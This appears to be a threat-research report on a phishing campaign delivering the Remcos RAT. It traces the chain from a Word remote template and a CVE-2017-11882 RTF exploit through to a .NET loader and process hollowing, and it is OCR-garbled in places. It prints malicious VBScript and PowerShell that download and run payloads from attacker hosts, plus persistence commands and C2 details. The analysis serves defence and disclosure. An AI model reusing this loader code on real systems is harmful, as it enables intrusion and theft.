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Background

FortiGuard Labs discovered a new phishing campaign in the wild. The campaign delivers a new
variant of Remcos, a commercial lightweight remote access tool (RAT) with a wide range of
capabilities, including system resource management, remote surveillance, network management, and
Remcos agent management.

| conducted an in-depth investigation into this malicious campaign. This analysis covers how the
phishing email initializes the attack, how the attached Word document downloads an RTF file, the
vulnerability the attack leverages within the RTF file, the VBScript and PowerShell code, how a
fileless .NET module is loaded and executed in a PowerShell process, and how the fileless Remcos
agent is downloaded and loaded using process hollowing.

The analysis also details this Remcos variant’s internal configuration block, packet structures, and
capabilities across six categories, which are illustrated with examples.

Infection Chain

Figure 1 shows the infection chain for the new Remcos variant, illustrating how it is distributed and
installed on a victim’s machine.
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Figure 1: The Remcos variant infection chain.

Captured Phishing Email

The captured phishing email, disguised as a message from a shipping company in Vietnam, lures the
recipient to open an attached Word file to view an updated shipping document, as shown in Figure 2.
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== |+ E: MNEW REVISED B/L DRAFT ITL/13746/25 - Message (HTML) — O b4
Message Developer L] 9

From: Ms. - . Sent:  Sum 11/30/2025 11:14 PM
To: P . o

Cc

Subject: [virus detected] RE: NEW REVISED E/L DRAFT ITL/13746/25

Dear customer,

Please find the updated BL with the correct container type.

Thanks & Best Regards,

Ms. Ju——
Documentation Dept.

I CO., LTD | N e N |

N F, N Tover B S, ord 12, Dist.10, HCMC, Vietnam
Tel: +64-028- NN - < 140

matelllle @ NelelopWlelelesd f@  Nelelgy
Website: http:/Aavvew I .COom

(Please visit our website for cargo tracking)

Figure 2: The phishing email contents.
Note that the email in this image has been flagged as “virus detected” by the FortiMail service, so the

email would be blocked and quarantined by FortiMail and not delivered to the recipient, thwarting the
attack.

Dissecting the Word Document

When examining the internal structure of the attached Word document, we find that it contains an
online attachedTemplate option in the settings.xml.rels file, as shown in Figure 3.

« v <« BL DRAFTITL1374625% docx » word » _rels ~ &) Search _rels
BL DRAFT ITL13746258 » Mame Date modified Type Size
_rels @ document.xml.rels 2/4/2025 1:43 PM RELS File 2KB
docProps @ settingsxml.rels :58 AM RELS File 1KB
word
_rels
embeddings . " " . " " " "
] <?xml version="1.8" encoding="UTF-8" standalone="yes"?>
media <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship
theme Id="rId1l" Type="http://schemas.openxmlformats.org/officeDocument/2886/relationships/fattachedTemplatd”

Targetg"https://\ \ \ \ \ (@go-shorty.killcod3.com/OkkxCrg?&amp;) % % AV V0V VAN "I
TargetMode="External”/></Relationships>

Figure 3: The attachedTemplate definition in settings.xml.rels file.
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The URL of the template file is specified in the “Target” attribute, hxxps://go-
shorty[.]killcod3[.Jcom/OkkxCrq. The URL is a short URL service that ultimately redirects to the file's
full URL.

Once the fake shipping document is opened in Microsoft Word, the application automatically
downloads and loads the online template into the current Word document.

e —— pp—— e e e e e e e e . - SR — —
p rty killcod3.com OPTIONS / 405 616 text o 104.21.37.51 16:50:254
i killcod3.com GET 10keCrq?& 11T < 302 765 < 104.21.37.51 16:50:26 4

B04... https://tnvs.de GET ledgUvc 302 615 text o 152.53.118 246 16:50:314

B04... http://66.179.94.117 GET J157/wiw.doc 304 274 doc 66.179.94.117 16:50:454

304... https://go-shorty.killcod3.com HEAD JOKxCrq?& % EF%BCY%B9% EF%BC%BCYEF%BC%BC%E... 405 617 text L4 104.21.37.51 16:50:454

a--

Request Response

Pretty Raw Hex a @ v = t Raw Hex w =

1 |GET /OkkxCrq?&???77772777 HTTP/2 1 HTTP/2 302 Found

2 [Host: go-shorty.killcod3, con 2 Date: Thu, 04 Dec 2025 21:50:27 GMT

3 Rccepi: WIF 3_Content-Length: ©

4 User-Agent: Mozilla/4.0 (compatible; MSIE 7.@; Windows NT 6.2; WinG4; x84; Trident/7.0; | Location: https://tnvs.de/edglVc !

(NET4.0C; .NET4.0E; InfoPath.3; ms-office; MSOffice 14) 5 Cache-Control: publlic, max-age= 0, s-maxage=3600, immutable

5 Ua-Cpu: AMDG4 & Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

5 Accept-Encoding: gzip, deflate, br 7 X-Content-Type-Options: nosniff

7 Connection: Keep-Alive & X-Robots-Tag: noindex

o Speculation-Rules: "/cdn-cgi/speculation”

10 Vary: accept-encoding

11 Report-To:
{"group”:"cf-nel”, "max_age" ;604800 "endpoints”: [{"url": "https://a nel .cloudflare.com/report/v
475=%2FnB9d0ANd1 gwvRs 2FOV 2% 2BL 7e Jh2GR2] 0 SEbVGES 2Fr TNGWdo ArpUy 2v0icOons 3z% 2F7CSx] ZEZwsCdHr2
FxLmXeoK14s7quSrGAczOM] mp%280oagloYUw7NgFI%30" 1}

12 Nel: {"report_to”:"cf-nel", "success_fraction” 0.0, "max_age": 604800}

13 Server: cloudflare

~ T,

Figure 4: The Word file downloads a malicious RTF document.
According to Figure 4, the Word file passed through two URL-shortening services before downloading
the RTF document “w.doc.”

The three relevant URLs are:

hxxps://go-shorty[.]killcod3[.Jcom/OkkxCrq
hxxps://tnvs[.]de/edgUVc
hxxp://66[.]179[.]94[.1117/157/w/w.doc

Exploiting CVE-2017-11882

The online template file is an RTF file (w.doc) containing crafted, malformed equation data. It triggers
CVE-2017-11882, a known Remote Code Execution (RCE) vulnerability in the Microsoft Equation
Editor (EQNEDT32.EXE).
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Figure 5: De-obfuscated view of the downloaded RTF.

Once loaded, Word treats the RTF file (w.doc) as a remote template and automatically loads it. The

vulnerability is triggered when the Equation Editor parses the equation data (preceded by the “\bin”
control keyword), thereby executing the embedded shellcode within the malformed equation data.

]

Figure 6: Shellcode to download a VBScript file.
The shellcode’s primary function is to download a VBScript file from a decrypted URL. Figure 6

shows the shellcode running in an EQNEDT32.EXE process, about to call URLDownloadToFileW() to

download the VBScript file. At the bottom of Figure 6, the decrypted URL

hxxp://66[.]1179.94.117/157/fsf090g90dfg090asdfxcv0sdf09sdf90200002f0sf0df09f0s9f0sdfO0sfO0ds.vbe

G EQNEDT32.EXE - PID: H@ *Jhread: Main Thread 8496 - x32dbg

Fle Wiew Debug Tradng Plugins Favourites Optons Help Feb 19 2024 (TitanEngine)

oS E Su Y 9§ vt P o ».-ifx#.e.z,;fhig

B 2| Seript | Log ® Breakpoints = Memory Map [ call Stack =} 5FH "W Threads ‘ Handles

76 C add byte ptr ds:[eax+eax+73],ah A
add byte ptr ds:[esi],ch
add byte ptr ds:[esi],dh
-yea)c,.qwurd ptr d:'-:[ea.a] EAX  7aae)
add byte ptr gs:[eax],al EBX  73DC{
add e o . dxd e ECX 3740C
call eax eax: URLDownoadToFilen | EDX  D019¢
TCEll SGIFET €
jae 7E4FDE
push &CO0E500 Default (stdcall)
add byte ptr ds:[eax+eax+33],ch 1: 0o
add byte ptr ds:[edx],dh ! 2: ::E‘IH]
add byte ptr ds:[eax],al 3: [esp+8]
ﬁgrun'bn w | 4: [esp+C]
5z 10

£ 5 [esp+10]

Woump1  WWDump2  @Woump3  @oump4  Poumps @ watch1  be-llocals ¢ Struct

Address | Value ASCI| Comments

0013EDDO

0019EDDS | 007 64FOF | .Ov. | L"http://66.179.94.117 /157 /Fsf090g990df g090asdf xcvlsdf09sdf 90200002F0s fOdf09F0s 9F0sdf0sF00ds. vhbe”

DO19EDDS | O019EDES | 1. . | L"C:\\Users"\ \win-10''\AppData\Roaming",\ 90g90df g090asdf xcv0sdf09sdf90200002F0sFOodF09f0s 9F0sdfOsFo0d. vhs™

0019EDDC | 00000000 | . ...
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and the full path of a local file
%AppData%\90g90dfg090asdfxcv0sdf09sdf90200002f0sfOdf09f0s9f0sdf0sfO0d.vbs is marked.
Finally, the shellcode calls the ShellExecuteW() API to execute the downloaded VBScript file.

Analyzing the VBScript File and PowerShell Code

The VBScript file is lightly obfuscated and contains a Base64-encoded PowerShell code.
Below is a snippet of the VBScript code.

Dim millilitres, panzer, undulant, prostrates, sawhorse

Set millilitres = GetObject("winmgmts:root\cimv2")

Set panzer = millilitres.Get("Win32_ProcessStartup").Spawnlinstance
panzer.ShowWindow =0

Set undulant = millilitres.Get("Win32_Process")

prostrates = 0

sawhorse = undulant.Create(microliths(crummier), banie, panzer, prostrates)
wscript.quit(1)

The PowerShell code is assembled into the following command line, which is stored in the variable
‘crummier.”

powershell -NoProfile -WindowStyle Hidden -Command {Base64-decoded PowerShell code}
Then, the VBScript code creates a WMI object to execute the command line.

In Figure 7, the Base64-encoded string is shown on the left, while the Base64-decoded PowerShell
code appears on the right.

Input Qutput

ctT2JQZWNOIFNSc3R1bSS0ZKQuV2ViQ2xpZWS 00wOKIEThZGVZaGkuSGVhIGVycySBIG fBadeshi = New-Object System.Net.WebClient;
ALiTWI6aWxeYSE1L] AgKFApbnRvd3MgT1QgMTAUMDegV2Z luNIQ7IHgZNCkgQXBWbGVX  §Badeshi.Headers.Add ("User-Agent 11la/5.0 (Windows NT 10.0; Winé4; x€4)
SFRNTCwgbGlrZ SBHZWNrbylkgl 4AwLj¥yNjEuOTUQU2ZFmYXJpLlzUzNy  AppleWebKit/537.36 (KHIML, like Gecko) Chrome/122.0.6261.95 Safari/s37 ‘,é‘];
¥uSGVhZIGVycySBZGQoIkF] Yd«'u:‘.t. L2h0bkws YXBwbG1 ] YXRpb2 §$Badeshi.Headers.Add ("Accept”,
2F0aW3ul3htbDrxFTAuOSwgLyoTc! CYWR1c2hpLkhl YWRL cnMuQW! "czext/html, application/xhtml+xml, application/xml;g=0,9,*/%;g=0.8");
1LCAiZW4TVVMSZW4 TeTOWL ik 3¥XVsa2luZyA9ICdodHRwezovL2 kb
2Pl ZFSNUOkucGESnIzSNC 451hc20gPSAKOMFXZXNoaSSEb3d swaulking = 'https://idliya.com/assecs/optimized MSI.png':| Download .Net Module
'sNCiRtdWphaGVkZIWVu! SFbmNvZG1luZl 060k orybantiasm = §Badeshi.Down! dData ($waulking) ; in PNG f||e
'l.t:‘hpm"KTsNCmI'[IC_ F0Y20g70Jnhc2VIAGEW mujahedeen = [System.Text.E ::ASCII.GetString($corybantiasm):
[ h¥mxpZ3VyYXRpb252ID ?)-BaseEnd') |

aNCi

55&:1&32'.1.Headera..!u:idi"Accap:—lan‘maqg" "en-US,en;q=0.9"):

if ($mujahedeen -match 'BaseStar

..ii-,b doj prZFkKFI:Db(.aZ X

Zmx1¥3Rpb24u UZNENOcmluZygKbmFwZXIS $napery = $matchea[l1]: Entract Decode and Load the .Net Module
ogIFtDbGFze0xpYnhenkxLis YXNzMV0 601 ZBSSgnMGh 4RHpNeUF6TXNFVESSQWpNZ] 1t ZHBWHGNS sabligurations = [Reflection.Assembly]::Load ([Convert]::FromBaseé4String(§napery)):
R3TMADkyWKVEVZWeEdacD1STDZNSGMwUkhhJywnMCeaJOMEKFV2Z BlYmxp¥1xEb3dubGOnZENcIywnIlU

9USiBEbmlSNScsJ2N 3BsJywnMSceJ2NvbG oy Y 3Ba JywnMCceJ2h0dHEZ01 SvMTAYL ] IWOC4 yMTYuMTEL IfC'.us'.n:raryl»C'.au'.f ::VA:l":n!-ldui:}-bc’.;:”.y«'az&’.xETNijMrgmdp\mcy:‘n:QZYuEMe;xGipavLSMHcG

L3R1e3Qve2hpbss
cxJywnMScsJzZVRMOVC

DO1xVe2VyelxQddJsaWNeRG I3 bmxvYWR2ZXCeaJ2VFVEoWRGSpe TUnLCd2YnMnLC RHa','0'", 'C:\Users\Public\Downloads\"*, 'e0TJ0Dniy5’, 'colorcpl”,

loe@inLCowIywnJywndywnJyk7DQps 8://102.208.216.115/test/shim.vbe', 'C: \" 3ﬂrs\Pth1:\Dﬂw1 oads\"

A L P | T ModulesMehtod VAI[]

}

Figure 7: Base64-decoded PowerShell code.
The PowerShell code downloads a .NET module (.NET DLL) that is transformed and embedded in a
normal image file (an optimized_MSI.png, which actually has JPEG data). The Base64-encoded

.NET module is appended to the PNG file and enclosed between the markers BaseStart- and -
BaseEnd.
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After decoding, the code calls the [Reflection.Assembly]::Load() method to load the .NET module into
the PowerShell’s process and invokes its VAI() method with a large number of parameters, as shown
in Figure 7. Figure 8 illustrates the binary structure of the image file.
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Figure 8: Base64-encoded .NET module hidden within an image file.

The .NET Module

The assembly name of the .NET module (DLL) is Microsoft.Win32.TaskScheduler, which is disguised
as a legitimate TaskScheduler-related system module to mislead both the victim and researchers.

Similar .NET modules have been observed in prior analyses and used by multiple malware families,

including DrakCloud and Agent Tesla.

Based on my analysis, this .NET module serves as both a Remcos agent loader and a persistence

installer.
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Assembly Explorer .4 VAl(string, string, string, string, string, stri.. X
4 [ Microsoft Win32.TaskScheduler (2.12.2.0 1 // Classlibraryl.Classl -
4 2 obf MicrosoftWin32 TaskScheduler. 2 // Token: Bx@6@@@119 RID: 281 RVA: @xpeeesoeC File Offset: @x@ees2sec
b em :rype References 3 public static veid VAI(string encodedUrlPayload, string flagRegStartup, string vbsPath, string vbsName, string clrPath, string
b =B References nativeDllPath, string nativeDllName, string flagTaskPersistence, string payloadUrl, string outputPath, string outputName,
b s string fileExt, string intervalMinutes, string flagStartupTask, string schedulerTaskName, string vmDetectionName, string
by} - s flagUacStart, string uacPayloadUrl, string uacCommand)
41} Classlibrary1 (=] 5 bool flag = flagTaskPersistence == \UEBE4.\uE@AC(32222);
4 %3 Class1 @02000060 & | if (flag)
b 0 Base Type and Interfaces 7 g
Derived Types ' Classis.VerificarMinutos(intervalMinutes, payloadUrl, outputPath, outputName, fileExt, schedulerTaskName);
@ (¢ . R
_B : I‘:lool flag2 = flagStartupTask == \WEGE4L.\UE@4C(32222);
Dy L L H ()
P} 2. TaskScheduler 13 3 \WE@S1.\uEeee(intervalMinutes, payloadUrl, outputPath, outputName, fileExt, schedulerTaskName);
b i} 2. TaskScheduler.F 14 }
b} 2 TaskScheduler.k 15 bool flagd = flagRegStartup == \UEGE4.\uE@4C(32222);
P {} System.Runtime.CompilerServic( 16 if (flag3)
b {} System.Security.AccessControl w o { -
b & mscorlib (4.0.0.0 wo% -
b @ System (4.0.0.0) LOCals o - 52
P& System.Xml (4.0.0.0)
P B System.l0.Compression (4.0.0.0) s Lfz3 =
b System.Core (£.0.0.0) (-} "OhHduEDMsx EjMy Azl ETNy AJMFGrmdpVXcy F2L192Y u
b & MicrosoftVisualBasic (10.0.0.0) . i
b B System.0.Compression.FileSystem (4.0, vbsPath @"C:\Users\Public\Downloads\"
@ vbsName "e0T00niy3" string
@ crPath "colorcpl” string
@ nativeDlIPath " string
& nativeDlIName "colorcpl” string
flagTaskPersistence "0" strin
) "https://102.208.216.115/test/shim.vbe" g
@ @" ChUsers\Public\Downloads\" string -
4 p | Locals Watch1 Modules Call Stac

Figure 9: The VAI() method called within a PowerShell process.

Figure 9 shows the VAI() method in a debugger when invoked from the PowerShell process. The
parameters passed to the method are shown at the bottom of the view.

1. Persistence

According to the value in the flagStartupTask parameter, which is set to 1 in this case, the .NET
module creates a scheduled task (named "5V3EBWmhxc") in the Windows Task Scheduler to
maintain persistence on the compromised computer.

The .NET module creates a TaskService object and invokes its methods to set the trigger conditions,
execution action, and repeat interval. It then registers the new scheduled task by calling the

taskService.RootFolder.RegisterTaskDefinition() method. Figure 10 shows the created scheduled
task.

® Task Scheduler - O *
File Action View Help

== 5 HE

@ TE.Sk Scheduler (Loca.l] Mame Status  Triggers Mext Run Time Lastf ~ | | Actions
@ Task Scheduler Library A
(B 5VIEBWmhxe Ready At 3:25 PM on 12/1/2025 - After triggered, repeat every 00:01:00 indefinitely. 12/1/2025 3:31:32 PM I'IPL"U Task Sc..
':é':," MicrosoftEd.. Ready Multiple triggers defined 12/2/202512:2204 PM 12/1/ _@ Cr..
< > = Cr.
General Triggers Actions  Conditions Settings History (disabled) Im...
~  |E Dis
When you create a task, you must specify the action that will cccur when your task starts. To change these actions, open the task
property pages using the Properties command. &
Action Details 5 Ne..
Start a program wscript.exe C\Users\Public\Downloads\eOT0Dniy 3 View b
» @ Re
[ v

Figure 10: The created task 5V3EBWmhxc displayed in Windows Task Scheduler.
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The task’s action is to execute the following command line every minute:

wscript.exe C:\Users\Public\Downloads\eOTJ0Dniy5.vbs

The eOTJODniy5.vbs file is a duplicate of
%AppData%\90g90dfg090asdfxcv0sdf09sdf90200002f0sf0df09f0s9f0sdf0sf00d.vbs, which was
downloaded earlier in the infection chain. This file was copied by the .NET module before the

scheduled task was created.

2. Remcos Payload Loader

The first parameter to the VAI() method is a Base64-encoded string in reverse order. The .NET
module decodes it to obtain the URL:
hxxps://idliya[.Jcom/arquivo_20251130221101.txt.

The .NET module downloads the file and keeps it in memory. The file contains the Remcos agent
payload, which is obfuscated in two stages: Base64 encoding followed by reversing the encoded
string. The bottom of Figure 11 shows the Base64-decoded Remcos payload in memory.

& dnSpy w6, 1.8 (B4-bit, MET, Administrator, Debugging) - m| b4
File Edt VMiew Debug Window Help @ @ & cz - | € B Continue B =+ ¢+t 0
Assembly Explorer s * X | huElEs X

b %% wWEDE3 @0200004AE - 4 i _ a

b %, LWEDSS 02000080 :5 array_: I'n_!l.\l h'?rtn?l;fnfxt._en:th ! ?uEBEE.‘.aEBEE{ﬂ.]];_

b %, \uEOS5 @020000E7 26 1'-.;:_!- Ellj’i: i = NuEGES.\uEBSE(@); 1 < array.length; i 4=

b %% \uEDEE @020000E8 . 0 9ES . \uEese(1))

b "%, \uECET @020000E9 28 i array[i] = Convert, TeByte(text Substring(i * \WERES.

b "% \WE0BE @02000132 \UEB58(4), \UEBES.\UE@SB(4)), “UERES.\UEBSE(28));

b %5, \wEDED @O02000130 78 }

b ", \uEDBA 02000138 e ¥

b =, \uEISE @02000130 3 ;! jl"f

b+ WEDGC @0200013E 33 array = Convert.FromBasesdstring(text);

b2 \uE0ED @O200013F o .

b *9 \uEDSE @02000140 B 35 int nu BitConverter.ToInt3Z(array, \UEBES.\uERSA(31));

B9 \uEOSF @02000141 36 um2 = BitConverter.ToUIntlé{array, num + “WEBES.\uEGSE -

b "E WEDSD S02000142

b 2 \uENST 02000143

b "2 \wEDS2 S02000144

b ""E wElS3 @02000145 BI1Fa593A4A60 [ 43 FE 08 Baraa BC 87 00 88 20 90 S8 (HX, . .. enenaa.

b =2 \uE094 02000146 BLFG5938247 5S4 08 o0 83 8 Bl BEIIN- B8 08 B0 FF FF @8 80 MZ...cccvrannnas

B2\ LE0S5 S02000147 BLFE593A4A3 £ 62 02 02 00 62 09142 00 20 20 20 B0 B0 89 |........ haoacan

b %9 \LENSE @O2000148 BLFE593440904 00 00 00 60 00 00 0 02100 00 GO 0O 80 BB BO B8 |...c.iiiarea.as

b %0 \LEDGT G0200014 B1F6593A40404 60 60 09 60 28 28 8@ @ Remcos Pa'l_.rload - )

t_..e \uE0SE @O2000144 BlFE593A40B84 BE 1F BA BE 8@ B4 B9 Cl.ili.-!L B BL 8L LU L 9 68 |cassaacala.LITh

b .-E LwESS S02000148 BIlFGL93A4ACM 69 73 20 T 72 &F &7 ?ZEE]. 60 28 63 61 &6E &E &F |is pmgrﬂ- canng

b"?. \uENGA @O200074C BIFAS93A4A0GE 74 28 62 65 28 72 75 EE!ZEI 69 6E 28 44 4F 53 28|t be run in DOS

b+ \LEDOE 02000140 @1F6503444E0) 60 6F 64 65 2E @D B0 BA!24 89 @0 2 0 00 0 28 |mode....$.......

b'; ._‘ ) R BIFaL93A4AFM C9 DA AT 4F 8D BB C9 1080 BB C9 1C 8D BB €9 10 |.cubueeiucnnnans

45 R L @1F6593a4860 39 27 38 1C 9E BE (3 1Ci39 27 3A 1C 26 BB C9 1C(9°8.....9":.4...

- WEMD @200014F B1F65035451839 27 38 1C 93 B3 C9 1C1S4 C3 4D 1C 5C 88 €9 1C(9%:....... M..... ”
b *3 \wEOSE @02000150 100 % | =
b *S \uEDGF ©02000151 | Locals Watch1 Modules Call Stack Search | Memory 1

Figure 11: The Base64-decoded Remcos payload in the PowerShell process memory.
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Next, the .NET module deploys the Remcos payload into a newly created colorcpl.exe process using

process hollowing. The target process is specified as a parameter to the VAI() method. Figure 12

shows that colorcpl.exe was created by the .NET module while running in the PowerShell process.

¥ Process Monitor - Sysinternals: www.sysintermnals.com
File Edit Event Filter Tools Options Help

ZEILNREIVAO|& # O /H w2 oM

Path Result Detail
SUCCESS  Thread ID: 17312

i
Parert PID: 272,

2:3 1ell. UCC
2:37:56.0854216 PM colorcpl exe SUCCESS
2:37:56.0854261 PM Elcolorcpl exe 2864 SUCCESS  Thread ID: 5052

Command line: C.\Wlndcws\SysWOW&i\colcrcpl exe”, Cument directory: C:\Windows'systpm3.

:56.0881181T PM Ll colorcplexe 7564 - Load Image T Windows \Sys OV EE Colorcpl exe UCCES Tmage Base. (x4 20000, Image size. 19000
23756038191]1 PM Elcolorcpl exe 2864 ¢ Load Image C:\Windows"System 32 ntdll.dll SUCCESS  Image Base: D ff35b0000, Image Size: G 12000
2:37:56.0882567 PM Elcolorcpl exe 2864 ¢ Load Image CAWindows \SysWOWE4ntdll dil SUCCESS  Image Base: (x76ed0000, Image Size: (x1a4000

Figure 12: A new “colorcpl.exe” process created by PowerShell.

As the entry point function of the Remcos payload is called in the colorcpl.exe process, the Remcos

agent becomes active on the compromised computer.

Remcos Payload File

Although the Remcos payload file remains fileless throughout the entire campaign, it can be dumped
from the PowerShell process’s memory. As shown in Figure 13, the payload is a 32-bit executable

(EXE) compiled with Microsoft Visual C++. It is not protected by any packer.

B Exeinfo PE - ver.0.0.7.7 by AS.L- 1156+157 sign 2023.01.10 —

Lamer Info - Help Hint -‘ﬁ'padc info
|Big sec. 01 [ .text] , Not phcked , try debug www.ollydbg.de or www. x54d] vy

(%
e is 32bit ev@ RES/OVL:3 / 0 % 222? h

Microsoft Visual C++ v.14.16 - 2017 (E8) - no sec. Cab.7z.Zip [Deb : 13] {] Scan [t

0
=

|Remcos~Payﬂoad.hm ] }‘i H ‘?‘E
Entry Point : [000371D3 | < | EPSection: | text | % ‘
File Offset : 00036508 l First Bytes :  |E8 20 050000 | (7] ii
Linker Info : 14,16 ] SubSystem: |windowsGUI |  pg
FleSize:  [00078C00h <| |wr| overlay:  [NO 00000000 | z

&
-

Figure 13: The view of the dumped Remcos payload in a PE analysis tool.

Based on static analysis, this Remcos variant is version 7.0.4 Pro, released on September 10, 2025.

The version information is defined in the payload file, shown below.

.rdata:00469814 a704Pro db '7.0.4 Pro’,0
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Remcos Configuration Block

Every Remcos agent contains an encrypted configuration block located in the resource section of the
executable file named “SETTINGS.” Figure 14 shows the configuration data after decryption and
decompression.

W% colorcpl.exe - PID: 6536 - Module: colorcpl.exe - Thread: Main Thread 11336 - x32dbg
File Wiew Debug Tracing Plugns Favourites Optiors Help  Feb 19 2024 (TitanEngire)

Lo 0t 9y Tl =S B B
By [olsaipt | Jlog @ Breakpoints WM MemoryMap [ CallStack @ SEH 'S Thread

00410291 Tea eax,dword ptr ss:[esp+aa]
00410295 mov dword ptr ss:Qesp+44],edi
00410299 ?u!h Eax

00410294 ea edx,dword prr ss5ifespri4

0041023E lea ecx,dword ptr ss5:Qespr4C
. 40

SHED

O0410248 test al,al

O0A102 A "ie colorcpl. 410284

00410240 ea eaw,dword ptr ssi[[espren]
004102B80 ush eax

00410281 ed ecx,dword ptir s5:[Qesp+4C])
00410285 gall colorcpl. 401F8s
00410284 im:h colorcpl. 478594

NNainzeRF #a prv . wnrd ntre s Besnearll

3 2 e
oumpd  Eoumps A8 watch1

o

———————————————— e el

Command: |Commands are comma separated (like assembly instructions): mov eax, ebx
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Figure 14: Decrypted SETTINGS data.
The configuration items are delimited by |...| (hex str: \X7C\x1E \X1E \x1F\x7C). This variant contains

57 configuration values. It uses these configuration values to control the Remcos agent's behavior on
the victim’s device.

The configuration block includes the C2 server information, specified as 216.9.224.26:51010:1. It is
the IP address, TCP port, and a flag indicating whether TLS is enabled (1) or disabled (0).

The Remcos agent name and register key/mutex name are also defined in the configuration block as
RemoteHost and Rmc-LCCCTQ, respectively.

In addition, the configuration block contains numerous flags that automatically enable or disable

features, such as screen logging, keylogging, camera and microphone recording, sensitive data
collection, and other capabilities.

Finally, several certificate-related values, including public keys, appearing at the end of the
configuration block, are used to communicate with the C2 server over the TLS protocol.

Remcos Packet

Once Remcos establishes a connection with the C2 server, it sends the first packet containing basic
information collected from the compromised computer, as shown in Figure 15.

To better explain the packet format, | reproduced the communication in a controlled local environment
using plaintext packets.
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.‘ Wireshark - Follow TCP Stream (tcp.stream eq 0

[

Packet Magic PacketSize Command ID

20000000 |24 04 ff eofse o2 ee B@l
20000010 74 65 48 6f 72 74 7c 1e
0000028 00 4b 0@ 54 00 4f @0 50
@60eee32 00 46 0@ 38 00 4a 00 54
0000042 00 2d 00 31 00 38 08 7c
/9000058 1e 1f 7c 57 69 6e 64 6T
@OPROeEA 74 65 72 78 72 69 73 65
00peee7e 29 7c le le 1f 34
208688088 36 33 35 35 B -
eecaeeaa se 72 &f 7 3a oa o] €.2.X.P
20000RAR 72 : @@ 72 80 61 00 6d @0 44 00 61 @0
eagacena 74 8 sc @@ 72 8@ 65 eaCommand &F @@  t.a.\.r
eoopoece 7 @0 6c 0@ 6f 8@ 67 9O 64 8@ s.\.l.o. g.
f1 00 74 @0 7c le le 1f 7c 45 Data ees3 a.t.| E.:.\
80 6f 09 6c @0 6F 90 72 099 63 B2 70 90 6C 20 2e e.l.o.r .c.p.l
8@ 65 00 78 0@ 65 @@ 7c  le le 1f 7c 7c le le 1f e.x.e.|
7c 63 00 6f @@ 6c @@ 6f 00 72 @0 63 90 70 @@ 6¢c |c.o.l.o .r.
PEBO] B0 2e 0O 55 00 78 DO 65 9O 20 00 2d 20 20 PO 50 COELKLE L
""" 80 49 00 44 00 3a 00 26 @0 37 00 37 @0 31 @8 36 I.D.:.
----- 8@ 20 08 2d 00 20 00 4d ©0 6T B0 64 B0 75 B9 6C «=s M .0.
------ 02 65 08 33 90 20 00 77 00 73 0@ 32 00 ST @0 33 Baiae oW .
e 1 00 32 00 2¢ 90 64 @O 6c 00 Gc 00 20 00 2d @@ 20 .2...d.l
sl 17 09 54 00 68 9@ 72 00 65 ©0 61 @0 64 00 3a @0 20 .T.h.r.e .a.d.
00 4d 00 61 @0 69 00 6e 0O 20 @0 54 00 68 @@ 72 .M.a.i.n . .T.
""" 22 65 00 61 B8 64 00 20 98 38 90 35 00 30 62 30 .e.8.d. .B.5.
paeod B0 20 @0 2d ©9 20 90 75 @0 33 00 32 89 64 B0 62 - WX .3.2.
80 67 08 7c le le 1f 7c¢ 38 7c le le 1f 7c 31 36 Bel---] 9.
0ee001¢ 7c le le 1f 7c 31 32 33 35 34 38 38 32 38 7c 1le  |...|123 548828|
0ee001CaN 1 1f 7c 38 7c le le 1f 7c 31 39 32 2e 31 36 38 ..|0]... |192.1
BeoeealDe 39 2e 31 3@ 32 Jc  le 1& 1f 7c 52 6d 63 2d .18.182|
eaaealEe ; 43 54 51 7c 1e le 1f 7c 30 7c le le 1f  LCCCTQ|. . .
BOOBOLFE Tc 45wQe 00 Sc @0 63 @0 6f 00 6c 00 6f @0 72 |E.:.\.c " l.o.r
00000200 00 63 UM B0 2¢ ©0 65 @@ 78 00 65 @@ 7c eux.e.
feaee2le le le T 74 65 6¢ 2B 52 29 20 58 65 &f 1{R) Xeo
0000220 6Ge 28 52 29 P 32 33 34 7c -2434| .
@eaea23e 1f 7c 45 78 65 1e e 7 . |Exe].. o|)eue]s
20000240 26 2e 69 7c le le 1f 7c 7c le le 1f 7c @a af 16 oAaca] Joue]ans
00008256 19 7c le le 1f 7c 33 32 a|nsa|32

Figure 15: The packet structure of the first packet sent to the C2 server.

The packet begins with a packet magic value 0xff0424, followed by the packet size 0x250, the
command ID 0x4b, and the command data, which is encrypted when TLS is enabled.

All the packets follow the same general packet structure:
packet magic | packet size | command ID | command data
This O0x4b command data consists of the following values:

e Remcos agent name

¢ Victim’s computer name + username
» Victim’s geographic location

e OS version

¢ Physical memory size

o Processor information
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+ Remcos agent version

o Full path of the process running the Remcos agent

 Title of the active application

+ Remcos agent type

¢ Registry key name

* Remcos agent installation time

e C2 server’s IP address

» Additional system and agent metadata

Each value within the command data is separated by |..

in Figure 15.

.| (hex str \x7C\x1E\Xx1E\x1F\x7C), as shown

Figure 16 shows the Remcos Control Center interface on the C2 server, which displays most of the
values extracted from the Ox4b command data along with live screen logging output.

I:l Remcos Control Center | DESKTOP-E3LFBIT/ win-10
System  Surveillance Network Comms Extra  Eemncos

Local

I -
'p__L'.-thulmfum'r.fn] e _ '
T

Frpa—

[ Fie Manager ] ;

@Mmmn&g&r I ,

.Cnmme

H@E_bn

Syslem info
B Computer/User name: DESKTOP-EBLFEIT/win-10
Windows 10 Enferprise (64 bit)

¥ Operative System

& 05 Version, 10.0, Buld 18045
) system Uptime 17h42m
ﬁj g Time: Im

[ Active Window: colorcpl.exe - PD: 7716 - Wodule: ws2_32.4dll-T...

Hardware
&l Computer Model: VirtualBex
LTt 8GB
W cru; Intel{R) Xeon(R) E E-2434
| m Rl VirtualBox Graphcs Adapler (WDDM)
Geolocation
W system Locale United States
@ Country
Regiomn:
City.
158

Organization:
A5 Organization
Time Zone
Currency:

BN RAM: 42% (34 GB/2GE)

100
B0
60
40
20

o ] 16

Hetwork

| @ Stotus

O Latency
Security:

“ yRemote P address:
" gyLocal Connection Add...

“&TCP Port:

Remcos Seltings

#5 Privilege Level

fsik| Assigned Name:
Bk Version

&k Instal time:

Bk & gent Type:

SR M ustenc:

i D
Event Log

Thana Fimn

Connected

oms

None (Unencrypled)
192.168.10 100
I
51010

Uaer
RamateHost
7.0.4 Pro

04 Dec 2025, 10:23:19

Exe (32 bR)
Rme-LCCCTO
21488 TE501

[TET1]
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Figure 16: Remcos Control Center interface on the C2 server.

Remcos Features

This Remcos variant provides six major features for remotely managing compromised computers. To
support these features, this Remcos implements a total of 211 command IDs.

System:

In this category, Remcos provides Screen Capture, File Manager, File Search, Process Manager,
